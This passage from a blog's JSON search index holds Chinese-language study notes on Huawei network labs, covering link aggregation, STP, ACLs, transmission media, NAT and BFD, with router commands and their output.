Weight-----------------------------------------------------GigabitEthernet0/0/1 UP 1GigabitEthernet0/0/2 UP 1GigabitEthernet0/0/3 UP 1GigabitEthernet0/0/4 UP 1-----------------------------------------------------The Number of Ports in Trunk : 4The Number of UP Ports in Trunk : 4 SW2[SW2]int Eth-Trunk 12[SW2-Eth-Trunk12]trunkport g 0/0/1 to 0/0/4 动态聚合SW3[SW3]int Eth-Trunk 34[SW3-Eth-Trunk34]mode lacp-static [SW3-Eth-Trunk34]trunkport g 0/0/1 to 0/0/4[SW3-Eth-Trunk34]max active-linknumber 2 SW4[SW4]int Eth-Trunk 34[SW4-Eth-Trunk34]mode lacp-static[SW4-Eth-Trunk34]trunkport g 0/0/1 to 0/0/4[SW4-Eth-Trunk34]max active-linknumber 2[SW4-Eth-Trunk34]dis th#interface Eth-Trunk34 mode lacp-static max active-linknumber 2#[SW4-Eth-Trunk34]display interface Eth-Trunk 34Eth-Trunk34 current state : UPLine protocol current state : UPDescription:Switch Port, PVID : 1, Hash arithmetic : According to SIP-XOR-DIP,Maximal BW: 4G, Current BW: 2G, The Maximum Frame Length is 9216IP Sending Frames' Format is PKTFMT_ETHNT_2, Hardware address is 4c1f-cc43-7170Current system time: 2024-01-08 12:28:39-08:00 Input bandwidth utilization : 0% Output bandwidth utilization : 0%-----------------------------------------------------PortName Status Weight-----------------------------------------------------GigabitEthernet0/0/1 UP 1GigabitEthernet0/0/2 UP 1GigabitEthernet0/0/3 DOWN 1GigabitEthernet0/0/4 DOWN 1-----------------------------------------------------The Number of Ports in Trunk : 4The Number of UP Ports in Trunk : 2[SW4-Eth-Trunk34] 接口优先级[SW3]lacp priority ? INTEGER<0-65535> Priority value, the default value is 32768[SW3]lacp priority 20[SW3]int g0/0/3[SW3-GigabitEthernet0/0/3]lacp priority 32769[SW3-GigabitEthernet0/0/3]dis int Eth-Trunk 34Eth-Trunk34 current state : UPLine protocol current state : UPDescription:Switch Port, PVID : 1, Hash arithmetic : According to SIP-XOR-DIP,Maximal BW: 4G, Current BW: 2G, The Maximum Frame Length is 9216IP Sending Frames' Format is PKTFMT_ETHNT_2, Hardware address is 4c1f-cc28-2c9fCurrent system time: 2024-01-08 13:54:30-08:00 Input bandwidth utilization : 0% Output bandwidth utilization : 0%-----------------------------------------------------PortName Status Weight-----------------------------------------------------GigabitEthernet0/0/1 UP 1GigabitEthernet0/0/2 UP 1GigabitEthernet0/0/3 DOWN 1GigabitEthernet0/0/4 DOWN 1-----------------------------------------------------The Number of Ports in Trunk : 4The Number of UP Ports in Trunk : 2[SW3-GigabitEthernet0/0/3]int g0/0/2[SW3-GigabitEthernet0/0/2]shutdown[SW3-GigabitEthernet0/0/2][SW3-GigabitEthernet0/0/2]dis int Eth-Trunk 34Eth-Trunk34 current state : UPLine protocol current state : UPDescription:Switch Port, PVID : 1, Hash arithmetic : According to SIP-XOR-DIP,Maximal BW: 4G, Current BW: 2G, The Maximum Frame Length is 9216IP Sending Frames' Format is PKTFMT_ETHNT_2, Hardware address is 4c1f-cc28-2c9fCurrent system time: 2024-01-08 13:54:57-08:00 Input bandwidth utilization : 0% Output bandwidth utilization : 0%-----------------------------------------------------PortName Status Weight-----------------------------------------------------GigabitEthernet0/0/1 UP 1GigabitEthernet0/0/2 DOWN 1GigabitEthernet0/0/3 DOWN 1GigabitEthernet0/0/4 UP 1-----------------------------------------------------The Number of Ports in Trunk : 4The Number of UP Ports in Trunk : 2[SW3-GigabitEthernet0/0/2][SW3]display Eth-Trunk 34Eth-Trunk34's state information is:Local:LAG ID: 34 WorkingMode: STATIC Preempt Delay: Disabled Hash arithmetic: According to SIP-XOR-DIP System Priority: 20 System ID: 4c1f-cc28-2c9f Least Active-linknumber: 1 Max Active-linknumber: 2 Operate status: up Number Of Up Port In Trunk: 2 --------------------------------------------------------------------------------ActorPortName Status PortType PortPri PortNo PortKey PortState WeightGigabitEthernet0/0/1 Selected 1GE 32768 2 8753 10111100 1 GigabitEthernet0/0/2 Unselect 1GE 32768 3 8753 10100010 1 GigabitEthernet0/0/3 Selected 1GE 32769 4 8753 10111100 1 GigabitEthernet0/0/4 Unselect 1GE 32768 5 8753 10100000 1 Partner:--------------------------------------------------------------------------------ActorPortName SysPri SystemID PortPri PortNo PortKey PortStateGigabitEthernet0/0/1 32768 4c1f-cc43-7170 32768 2 8753 10111100GigabitEthernet0/0/2 0 0000-0000-0000 0 0 0 10100011GigabitEthernet0/0/3 32768 4c1f-cc43-7170 32768 4 8753 10111100GigabitEthernet0/0/4 32768 4c1f-cc43-7170 32768 5 8753 10110000"},{"title":"","date":"2024-01-03T06:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/17.html","permalink":"https://blog.mhuig.top/notes/datacom/17","excerpt":"","text":"STP STP STPSTP: 生成树协议, 在以太网中, 通过阻塞部分链路形成树状结构, 从而消除网络中的环路结构, 当主链路发生故障时, 被阻塞的链路可以自行恢复转发状态, 从而保证网络中链路的可靠性. STP 的作用消除环路: 通过阻断多余的链路来消除网络中可能存在的环路. 备份链路: 当活动链路出现故障时, 激活备份链路, 代替活动链路继续进行数据转发. 以太网环路产生的影响 广播风暴: 广播帧在以太网中通过泛洪的方式进行数据转发, 所以一旦出现环路, 则广播帧会在环路中无限都是进行传递, 如果 PC 不断发送广播帧, 最终可能导致网络数据帧的阻塞, 导致网络瘫痪, 网络中充斥着重复的广播帧. MAC 地址表的漂移: 当产生环路时, MAC 地址表不断的学习和刷新以及删除 MAC 地址表项. 主机收到重复的数据帧. STP 专有名词根桥: ROOT, 是 STP 协议中的逻辑根设备, 是 STP 的逻辑中心. BID: 桥 ID, 描述交换机设备的参数, 由优先级和 MAC 地址两个部分组成 (16 + 48),在比较时先比较优先级, 当优先级相同时比较 MAC 地址, 越小越优. 桥优先级范围:0-65535, 步长4096, 缺省值32768, 最大值61440. STP 的开销: dot1d: 1-65535 dot1t: 1-200000000 legacy: 1-200000 RPC: 根路径开销, 非根交换机到达根的路径开销总和 (从根到该交换机的入方向接口开销总和) PID: 端口 ID, 是由端口优先级和端口编号构成 (8 + 8). 端口优先级取值范围 0-255, 必须是 16 的倍数, 缺省值为 128. STP 计算 选举根桥, 比较桥优先级, 数值越小越优, 如果优先级相同, 比较 MAC 地址, MAC 地址越小越优. 在所有非根交换机上选举根端口, 根端口只存在于非根交换机, 每个非根交换机只有一个根端口. 1. 比较该设备每个端口到达根桥的 RPC, 开销越小越优. 2.RPC 一致时, 则比较上游设备的 BID,BID 越小越优. 3. 上游 BID 一致时, 则比较上游设备的 PID, 越小越优. 4. 上游设备 PID 一致时, 则比较本设备的 PID, 越小越优. 指定桥: 本网段内到达根桥的最优设备. 每个链路内, 选举指定桥, 指定桥最优端口为指定端口. 1. 比较链路内的交换机到达根桥的根路径开销, 开销数值越小的交换机成为指定桥. 2. 如果开销一致, 则比较 BID 大小, 越小越优, 指定端口一定在指定桥上. 3. 如果指定桥在该链路有多个端口到达根桥, 则比较 PID,PID 数值小的成为指定端口. 所剩的非根非指定端口被阻塞, 阻塞端口不为用户转发数据, 并成为 STP 中的备份链路. STP 计时器Hello Time: STP 协议连续发送 BPDU 报文的间隔, 默认 2s. Max Age: 最大寿命, 交换机接收 BPDU 的最大间隔, 超过 Max Age 还没有接收到 BPDU, 则认为链路失效. 默认值 20s. Message Age: BPDU 每经过一个交换机就 + 1, 当超过最大值时则 BPDU 失效, 默认值 20. STP 的端口状态1. 禁用状态: disable, 当端口处于禁用或没有正常运行 STP 时. STP 的初始状态, 该状态下, 接口既不收发 BPDU 也不为用户转发数据. 2. 阻塞状态: blocking, 是端口阻塞的最终状态, 交换机在该状态下接收 BPDU, 但不发送 BPDU, 不为用户转发数据, 也不会学习 MAC 地址. 3. 监听状态: listening, 是一个过渡状态, 在该状态下交换机会收发 BPDU, 通过 BPDU 的交互最终确定端口角色该状态不会学习 MAC 地址, 也不为用户转发数据. 等待转发延迟计时器 (15s),超时进入到 learning 状态. 4. 学习状态: learning, 是一个过渡状态, 在该状态下交换机可以收发 BPDU, 可以学习 MAC 地址, 为用户转发数据做准备, 但不能发送用户数据. 等待转发延迟计时器 (15s),超时进入到 forwarding 状态. 5. 转发状态: forwarding, 是根端口和指定端口的最终状态, 在该状态下可以收发 BPDU, 学习 MAC 地址, 收发用户数据. 状态 收 BPDU 发 BPDU 收用户数据 发用户数据 学习 MAC 地址 禁用状态 x x x x x 阻塞状态 v x x x x 监听状态 v v x x x 学习状态 v v v x v 转发状态 v v v v v Shell[SW1]stp enable // 开启 stp[SW1]stp disable // 关闭 stp[SW1]display stp brief MSTID Port Role STP State Protection 0 GigabitEthernet0/0/1 ALTE DISCARDING NONE 0 GigabitEthernet0/0/2 ROOT FORWARDING NONE[SW1]stp root ? primary Primary root switch // 根桥 优先级变0 secondary Secondary root switch // 备份根桥 优先级变4096[SW1]stp priority ? // 修改优先级 INTEGER<0-61440> Bridge priority, in steps of 4096[SW1]stp pathcost-standard ? // 修改开销计算方式 整个网络都需要修改 dot1d-1998 IEEE 802.1D-1998 dot1t IEEE 802.1T legacy Legacy[SW1-GigabitEthernet0/0/1]stp cost ? // 修改开销 INTEGER<1-200000000> Port path cost[SW1-GigabitEthernet0/0/1]stp port priority ? // 修改接口优先级 INTEGER<0-240> Port priority, in steps of 16 PVIPVI: 协议版本标识符. 0: STP, 标准 STP, 基于 802.1D, 所有 STP 的基础. 所有的 VLAN 共用一个 STP 拓扑, 收敛速度慢 (30-50s). 2:RSTP, 快速 STP, 基于 802.1W, 在标准 STP 的基础上增加了部分快速收敛机制. 3:MSTP, 多实例 STP, 基于 802.1S, 在 RSTP 的基础上增加了多实例的配置, 可以实现多 VLAN 的 STP 不同的拓扑, 并且单独计算生成树."},{"title":"","date":"2024-01-09T06:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/19.html","permalink":"https://blog.mhuig.top/notes/datacom/19","excerpt":"","text":"ACL 原理和配置 ACL 原理和配置 ACLACL: 访问控制列表, 可以对数据, 报文流量进行过滤控制访问的一种工具. ACL 分类1. 基本 ACL: 2000-2999 可以根据报文中的源 IP 地址对数据进行控制 2. 高级 ACL: 3000-3999 可以根据五元组 (源 IP 地址, 目的 IP 地址, 源端口, 目的端口, 协议) 3. 二层 ACL: 4000-4999 源目 MAC 地址以及二层协议类型 ACL 规则1.ACL 可以由多条规则组成, 其中规则由 \"permit\" 和 \"deny\" 语句组成 2. 设备收到数据流后会逐条匹配 ACL 规则 3. 如果不匹配则继续向下匹配, 一旦找到匹配的规则执行该规则的动作, 并且不再继续与后续的规则匹配 4.ACL 规则按照编号从小到大匹配 5. 默认情况下, 编号步长为 5 ACL 调用方向入站 (inbound): 数据流进入路由器的方向 出站 (outbound): 数据流发出的方向 shellacl number 2000 rule 5 permit source 192.168.1.0 0.0.0.255 rule 10 deny source 192.168.2.0 0.0.0.255 #interface GigabitEthernet0/0/0 traffic-filter outbound acl 2000 [R1]acl 2000[R1-acl-basic-2000]rule permit source 192.168.1.0 0.0.0.255[R1-acl-basic-2000]rule deny source 192.168.2.0 0.0.0.255[R1-acl-basic-2000]dis th[V200R003C00]#acl number 2000 rule 5 permit source 192.168.1.0 0.0.0.255 rule 10 deny source 192.168.2.0 0.0.0.255 #return[R1-acl-basic-2000][R1-acl-basic-2000]rule ? INTEGER<0-4294967294> ID of ACL rule deny Specify matched packet deny permit Specify matched packet permit[R1-acl-basic-2000]rule permit ? fragment Check fragment packet none-first-fragment Check the subsequence fragment packet source Specify source address time-range Specify a special time vpn-instance Specify a VPN-Instance <cr> Please press ENTER to execute command R1# sysname R1#acl number 2000 rule 5 permit source 192.168.1.0 0.0.0.255 rule 10 deny source 192.168.2.0 0.0.0.255 #interface GigabitEthernet0/0/0 ip address 12.1.1.1 255.255.255.0 traffic-filter outbound acl 2000#interface GigabitEthernet0/0/1 ip address 13.1.1.1 255.255.255.0 #interface GigabitEthernet0/0/2 ip address 192.168.1.254 255.255.255.0 #interface GigabitEthernet4/0/0 ip address 192.168.2.254 255.255.255.0 #interface LoopBack0 ip address 1.1.1.1 255.255.255.255 #ospf 1 router-id 1.1.1.1 area 0.0.0.0 network 1.1.1.1 0.0.0.0 network 12.1.1.1 0.0.0.0 network 13.1.1.1 0.0.0.0 network 192.168.1.254 0.0.0.0 network 192.168.2.254 0.0.0.0 # R2# sysname R2#interface GigabitEthernet0/0/0 ip address 12.1.1.2 255.255.255.0 #interface LoopBack0 ip address 2.2.2.2 255.255.255.255 #ospf 1 router-id 2.2.2.2 area 0.0.0.0 network 2.2.2.2 0.0.0.0 network 12.1.1.2 0.0.0.0 R3# sysname R3#acl number 3000 rule 5 deny tcp source 12.1.1.2 0 destination 13.1.1.3 0 destination-port eq telnet #interface GigabitEthernet0/0/0 ip address 13.1.1.3 255.255.255.0 traffic-filter inbound acl 3000#interface LoopBack0 ip address 3.3.3.3 255.255.255.255 #ospf 1 router-id 3.3.3.3 area 0.0.0.0 network 3.3.3.3 0.0.0.0 network 13.1.1.3 0.0.0.0 #user-interface vty 0 4 authentication-mode password set authentication password cipher %$%$Bw.-6uoM]XN2l&>pzZ&X,%In[7fqV+cWrS,7Yk,,CAQY%Iq,%$%$"},{"title":"","date":"2023-12-03T05:59:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/2.html","permalink":"https://blog.mhuig.top/notes/datacom/2","excerpt":"","text":"传输介质 传输介质 传输速率500Mb/s 10MB/s bit 位 Byte 字节 1Byte=8bit Speed: 速率, 网络中数据传输的速度. bit/s: 比特 / s, 一般用于网络设备或线缆传输速率的描述. Byte/s: 字节 / s, 一般用于文件的传输速率描述. 1Byte/s=8bit/s 计算机网络最常用的性能指标是: 速率、带宽、吞吐量、时延 (发送时延、传播时延、处理时延、排队时延)、时延带宽积、往返时间和信道 (或网络) 利用率。 网络中的线同轴电缆结构: 外层导体和内导体的圆心在同一个轴心上.优点: 标准距离长, 抗干扰能力长, 传输距离稳定.缺点: 体积大, 占用线缆管道空间大, 不能够接受缠结, 压力或弯度过大, 安全性低. 分类 粗同轴电缆: 有效传输距离 500m, 直径 9.5mm 左右.适用于大型的局域网络, 标准距离长, 可靠性高. 细同轴电缆: 有效传输距离 185m, 直径 5mm 左右.造价低, 体积小. 双绞线理论最大传输距离 100m, 共四对八根, 两两相绕. 为了消减双绞线在传输电信号时产生的电磁干扰需要将 8 根线两两相绕. 双绞线分类 按照传输速度: 5 类: 最高传输速度 100Mbit/s 有效传输距离 100m. 超 5 类: 传输速度 1000Mbit/s 有效传输距离 100m. 6 类: 传输速度两倍超五类以上有效传输距离 100m. 按照有无屏蔽层分类 屏蔽双绞线 (STP): 在双绞线与外层绝缘之间有一个金属的屏蔽层, 减少外部电磁干扰, 屏蔽双绞线一般比非屏蔽双绞线拥有更高的传输效率. 非屏蔽双绞线 (UTP) 双绞线的线序T568-A: 绿白 绿 橙白 蓝 蓝白 橙 棕白 棕 T568-B: 橙白 橙 绿白 蓝 蓝白 绿 棕白 棕 连接方式如果两端的线序不一致, 交叉线. 如果两端的线序一致, 直连线 / 直通线. 当两个设备在同一组内使用交叉线, 不同组内使用直通线. PC, 服务器, 路由器 交换机, 集线器 光纤通过光的全反射进行信息传递. 结构: 光导纤维, 由玻璃或塑料制成的纤维, 作为光的传导工具. 纤芯: 位于光纤的中心, 用于传导光信号. 涂覆层: 位于中间位置, 满足光信号的全反射. 包层: 位于最外层, 一般用于保护光纤. 光纤的种类: 单模光纤: 传输距离至少可以到达 5 公里, 只传递一束光, 因为反射角度大损耗小, 所以传输距离非常远. 多模光纤: 可以传递多束光, 传输速率较快, 传递距离较短. 优点: 传输距离远, 速率快, 损耗低, 抗干扰能力强. 缺点: 弯折能力有限, 容易损坏. 无线 移动性, 不受时间和空间的限制. 灵活性, 不受线缆的限制. 成本低, 不需要大量的工程布线, 节省线路维护费用. 易安装, 配置和维护更容易. 蓝牙, 红外线, 微波, 无线电. 数据通信模式 (设备的双工模式) 单工: 数据只能从一个方向到另一个方向进行传递, 不能反向传递.例子: 收音机. 半双工: 数据可以双向通信, 但是同一时间段只能进行单向通信.例子: 对讲机. 全双工: 数据可以在同一个数据节点进行双向通信.例子: 手机. CSMA/CD冲突: 多个设备在一个共享链路上, 同时发送数据就会产生冲突. 冲突域: 可能会产生冲突的范围. 避免冲突的办法CSMA/CD: 载波监听多路访问 / 冲突检测 发前先听: 在发送数据之前, 监听网络中是否存在其他设备正在发送数据, 如果有则暂停发送. 边发边听: 在发送数据过程中, 也会监听网络中的冲突情况, 如果发现冲突则会停止发送. 冲突避让: 一旦发生了冲突, 则通过避退算法, 启用计时器. 避让后再发: 等待随机时间后再发送数据."},{"title":"","date":"2024-01-09T07:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/20.html","permalink":"https://blog.mhuig.top/notes/datacom/20","excerpt":"","text":"NAT 网络地址转换 NAT 网络地址转换 NATNAT: 网络地址转换 用于实现位于内部网络访问外部网络的功能. 作用: 当局域网内的主机需要访问外网时, 通过 NAT 技术, 将私网地址转换为外网地址, 并可以实现多个私网用户共用一个公网地址, 既保证网络的互通, 又节省公网地址. NAT 种类1. 静态 NAT: 私网地址与公网地址一对一的映射, 一个公网地址只会分配给唯一且固定的内网主机, 适用于小型网络, 某台服务器对外服务时使用. 2. 动态 NAT: 通过地址池进行分配, 出口设备会从配置的公网地址池中选择一个未分配的公网地址, 当不需要连接时, 对应的地址映射关系会被解除, 公网地址恢复到地址池中, 如果地址池中的地址用尽后, 只能等待被占用的公网地址释放后, 其他主机才能使用. 3.NAPT: 网络地址端口转换, 允许将多个内部地址映射到同一个公网地址的不同端口 4.easy IP: 允许将多个内部地址映射到出口设备的公网 IP 地址的不同端口上 5.NAT Server: 可以实现当私网需要向公网提供服务时私网中的服务器随时可以提供访问. Shell静态[R1-GigabitEthernet0/0/1]nat static global 12.1.1.3 inside 192.168.1.1 动态 NAT / NAPT系统视图创建公网地址池[R1]nat address-group 1 12.1.1.3 12.1.1.3创建允许私网通过规则[R1]acl 2000[R1-acl-basic-2000]rule permit source 192.168.1.0 0.0.0.255连接外网的网关接口下[R1-GigabitEthernet0/0/1]nat outbound 2000 address-group 1 // NAPT[R1-GigabitEthernet0/0/1]nat outbound 2000 address-group 1 no-pat // 动态地址池 将ACL和地址池关联起来 [R1]nat ? address-group IP address-group of NAT alg Application level gateway dns-map DNS mapping filter-mode NAT filter mode link-down Link down reset session function mapping-mode NAT mapping mode overlap-address Overlap address pool to temp address pool map static Specify static NAT[R1]nat address-group ? INTEGER<0-7> Index of address-group[R1]nat address-group 1 ? IP_ADDR<X.X.X.X> Start address[R1]nat address-group 1 12.1.1.3 ? IP_ADDR<X.X.X.X> End address[R1]nat address-group 1 12.1.1.3 12.1.1.3ACL[R1]acl 2000[R1-acl-basic-2000]rule permit source 192.168.1.0 0.0.0.255接口调用ACL2000[R1]int g0/0/1[R1-GigabitEthernet0/0/1]nat ? outbound Specify net address translation server Specify NAT server static Specify static NAT[R1-GigabitEthernet0/0/1]nat outbound ? INTEGER<2000-3999> Apply basic or advanced ACL[R1-GigabitEthernet0/0/1]nat outbound 2000 ? address-group IP address-group of NAT interface Specify the interface <cr> Please press ENTER to execute command [R1-GigabitEthernet0/0/1]nat outbound 2000 address-group 1[R1-GigabitEthernet0/0/1]nat outbound 2000 address-group 1 // NAPT[R1-GigabitEthernet0/0/1]nat outbound 2000 address-group 1 no-pat // 动态地址池 easy IP创建允许私网通过规则[R1]acl 2000[R1-acl-basic-2000]rule permit source 192.168.1.0 0.0.0.255连接外网的网关接口下[R1-GigabitEthernet0/0/1]nat outbound 2000 查看 nat 会话表[R1]display nat session all NAT Session Table Information: Protocol : ICMP(1) SrcAddr Vpn : 192.168.1.2 DestAddr Vpn : 12.1.1.2 Type Code IcmpId : 0 8 3222 NAT-Info New SrcAddr : 12.1.1.1 New DestAddr : ---- New IcmpId : 10939 Protocol : ICMP(1) SrcAddr Vpn : 192.168.1.2 DestAddr Vpn : 12.1.1.2 Type Code IcmpId : 0 8 3224 NAT-Info New SrcAddr : 12.1.1.1 New DestAddr : ---- New IcmpId : 10943 Protocol : ICMP(1) SrcAddr Vpn : 192.168.1.1 DestAddr Vpn : 12.1.1.2 Type Code IcmpId : 0 8 3221 NAT-Info New SrcAddr : 12.1.1.1 New DestAddr : ---- New IcmpId : 10936 NAT Server[R5]ip route-static 0.0.0.0 0 45.1.1.4user-interface vty 0 4 authentication-mode password set authentication password cipher 123456[R4-GigabitEthernet0/0/0]nat server protocol tcp global 34.1.1.5 23 inside 45.1.1.5 23"},{"title":"","date":"2024-01-24T07:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/21.html","permalink":"https://blog.mhuig.top/notes/datacom/21","excerpt":"","text":"BFD 协议原理与配置 BFD 协议原理与配置 BFDBFD: 双向转发检测, 基于 UDP 工作, 端口号 3784 BFD 优点BFD 提供了一个通用的, 标准化的, 介质无关的, 协议无关的快速故障检测机制, 有以下两大优点: 对相邻转发引擎之间的通道提供轻负荷, 快速故障检测. 用单一的机制对任何介质, 任何协议层进行实时检测. BFD 的故障检测机制BFD 依赖会话进行故障检测, 在两个系统之间建立 BFD 会话, 并沿他们的路径快速的发送 BFD 控制报文, 如果一方在特定的时间内没有收到对方的 BFD 报文, 那么 BFD 认为会话 DOWN, 此时联动的其他协议或接口状态会发生改变. BFD 会话建立方式(主要区别在于 LD 和 RD 的配置方式) 静态建立 BFD 会话: 通过命令行手工配置 BFD 会话参数, 包括 LD 和 RD 等, 然后手工下发 BFD 会话建立请求 动态建立 BFD 会话: 1. 动态分配本地标识符: 当应用程序触发动态创建 BFD 会话时, 系统分配属于动态会话标识符的值作为本地标识符. 向对端发送 RD 为 0 的 BFD 报文. 2. 自学习远端标识符: 当 BFD 会话的一端收到 RD 为 0 的 BFD 控制报文时, 判断该报文是否与本地 BFD 会话匹配, 如果匹配, 则学习接收到的 BFD 报文中的 LD, 获取远端标识符. BFD 会话建立过程BFD 会话有四种状态 Down,Init,UP,Admindown. 会话状态通过 BFD 的 State 字段传递, 系统根据自己本地的会话状态和接收到对端的 BFD 报文来驱动状态的变化, BFD 状态机的建立采用三次握手机制, 以确保两端都能知道状态的变化. 1.RA 和 RB 各自启动 BFD 的状态机, 初始状态是 Down, 发送状态为 Down 报文. 2.RB 收到状态为 Down 的 BFD 报文, 状态切换至 Init, 并发送状态为 Init 的报文. 3.RB 本地 BFD 状态变为 Init 后, 不再处理接收到的 Down 报文. 4.RB 收到状态为 Init 的 BFD 报文后, 本地切换到 UP 状态. 5.RA 的 BFD 状态变化和 RB 一样. BFD 状态Down 状态说明会话 down, 一个会话维持在 down 状态直到收到对端的报文并且报文中 STA 字段不是 UP Init 状态说明与远端正在通信, 并期望进入 UP 状态, 当远端还没有回应一个 Init 状态的会话会维持 Init 状态, 直到接收到对端的 Init 包和 UP 包就会跳转到 UP 状态, 否则, 等到检测时间超时后, 会跳转到 Down 状态. UP 状态说明 BFD 会话建立成功, 并且正在确认链路的连通性, 会话会一直保持在 up 状态直到链路故障或管理 Down 操作. 如果收到远端的 Down 报文或者检测时间超时会话会从 up 跳转到 Down. Admindown 意味着会话被管理操作 down, 导致远端系统会话进入到 down 状态, 并一直保持 down 状态直到本端退出 Admindown. BFD 检测模式1. 异步模式: 本端按一定周期发送 BFD 控制报文, 检测位置为远端, 远端检测本端是否周期性的发送 BFD 控制报文. 2. 查询模式: 本端自身发送的 BFD 控制报文是否得到了回应. BFD 检测时间本地 BFD 报文的实际发送间隔 = MAX (本地配置的发送时间间隔, 对端配置的接收时间间隔) 本地 BFD 报文的实际接收间隔 = MAX (本地配置的接收时间间隔, 对端配置的发送时间间隔) 超时时间: 1. 异步模式: 对端超时倍数 * 本端的接收间隔 2. 查询模式: 本端超时倍数 * 本端的接收间隔 静态路由与 BFD 联动单跳检测[R1]ip route-static 4.4.4.4 32 12.1.1.2[R1]ip route-static 4.4.4.4 32 13.1.1.3 preference 70[R1]ip route-static 24.1.1.0 24 12.1.1.2[R1]ip route-static 34.1.1.0 24 13.1.1.3[R2]ip route-static 4.4.4.4 32 24.1.1.4[R3]ip route-static 4.4.4.4 32 34.1.1.4[R4]ip route-static 12.1.1.1 24 24.1.1.2[R4]ip route-static 13.1.1.1 24 34.1.1.3----R1:bfd // 开启BFD功能bfd 12 bind peer-ip 12.1.1.2 interface GigabitEthernet0/0/0 discriminator local 10 discriminator remote 20 commit----R2:bfd // 开启BFD功能bfd 21 bind peer-ip 123.1.1.1 interface GigabitEthernet0/0/0 discriminator local 20 discriminator remote 10 commit----R1配置静态路由与BFD联动[R1]ip route-static 4.4.4.4 255.255.255.255 12.1.1.2 track bfd-session 12---[R1]bfd // 开启BFD功能[R1-bfd]q[R1]bfd ? STRING<1-15> BFD configuration name <1-15> <cr> Please press ENTER to execute command [R1]bfd 12 ? bind Bind type <cr> Please press ENTER to execute command [R1]bfd 12 bind peer-ip 12.1.1.2 ? interface Bind the outgoing-interface(only for single hop) source-ip Set source IP address vpn-instance Vpn instance name <cr> Please press ENTER to execute command [R1]bfd 12 bind peer-ip 12.1.1.2 interface ? GigabitEthernet GigabitEthernet interface[R1]bfd 12 bind peer-ip 12.1.1.2 interface GigabitEthernet 0/0/0[R1-bfd-session-12][R1-bfd-session-12]dis th[V200R003C00]#bfd 12 bind peer-ip 12.1.1.2 interface GigabitEthernet0/0/0#return[R1-bfd-session-12]discriminator local 10[R1-bfd-session-12]discriminator remote 20[R1-bfd-session-12]commit [R1-bfd-session-12]dis th[V200R003C00]#bfd 12 bind peer-ip 12.1.1.2 interface GigabitEthernet0/0/0 discriminator local 10 discriminator remote 20 commit#return[R1-bfd-session-12]---[R2]undo bfdWarning: All BFD capability on the device will be deleted. Continue? [Y/N]y[R2][R1]undo bfd 12--- 多跳检测[R1]ip route-static 4.4.4.4 32 12.1.1.2[R1]ip route-static 4.4.4.4 32 13.1.1.3 preference 70[R1]ip route-static 24.1.1.0 24 12.1.1.2[R1]ip route-static 34.1.1.0 24 13.1.1.3[R2]ip route-static 1.1.1.1 32 12.1.1.1[R2]ip route-static 4.4.4.4 32 24.1.1.4[R3]ip route-static 1.1.1.1 32 13.1.1.1[R3]ip route-static 4.4.4.4 32 34.1.1.4[R4]ip route-static 12.1.1.1 24 24.1.1.2[R4]ip route-static 13.1.1.1 24 34.1.1.3[R4]ip route-static 1.1.1.1 24 34.1.1.3[R4]ip route-static 1.1.1.1 24 24.1.1.2[R1-bfd-session-14]dis th[V200R003C00]#bfd 14 bind peer-ip 24.1.1.4 // 创建BFD会话绑定x.x.x.x discriminator local 10 // 本端标识符 discriminator remote 40 //远端标识符 commit // 启用#[R4-bfd-session-41]dis th[V200R003C00]#bfd 41 bind peer-ip 12.1.1.1 discriminator local 40 discriminator remote 10 commit#return[R1]display bfd session all--------------------------------------------------------------------------------Local Remote PeerIpAddr State Type InterfaceName --------------------------------------------------------------------------------10 40 24.1.1.4 Up S_IP_PEER - -------------------------------------------------------------------------------- Total UP/DOWN Session Number : 1/0[R1]display bfd session all--------------------------------------------------------------------------------Local Remote PeerIpAddr State Type InterfaceName --------------------------------------------------------------------------------10 40 24.1.1.4 Down S_IP_PEER - -------------------------------------------------------------------------------- Total UP/DOWN Session Number : 0/1[R1]ip route-static 4.4.4.4 32 12.1.1.2 track bfd-session 14[R1]ping -c 500 -a 1.1.1.1 4.4.4.4 PING 4.4.4.4: 56 data bytes, press CTRL_C to break Reply from 4.4.4.4: bytes=56 Sequence=1 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=2 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=3 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=4 ttl=254 time=20 ms Reply from 4.4.4.4: bytes=56 Sequence=5 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=6 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=7 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=8 ttl=254 time=50 ms Reply from 4.4.4.4: bytes=56 Sequence=9 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=10 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=11 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=12 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=13 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=14 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=15 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=16 ttl=254 time=30 ms Request time out Request time outJan 24 2024 15:46:13-08:00 R1 %%01BFD/4/STACHG_TODWN(l)[1]:BFD session changed to Down. (SlotNumber=0, Discriminator=167772160, Diagnostic=DetectDown, Applications=None, ProcessPST=False, BindInterfaceName=None, InterfacePhysicalState=None, InterfaceProtocolState=None) Request time out Reply from 4.4.4.4: bytes=56 Sequence=20 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=21 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=22 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=23 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=24 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=25 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=26 ttl=254 time=40 ms Reply from 4.4.4.4: bytes=56 Sequence=27 ttl=254 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=28 ttl=254 time=40 ms OSPF 与 BFD 联动# R1interface 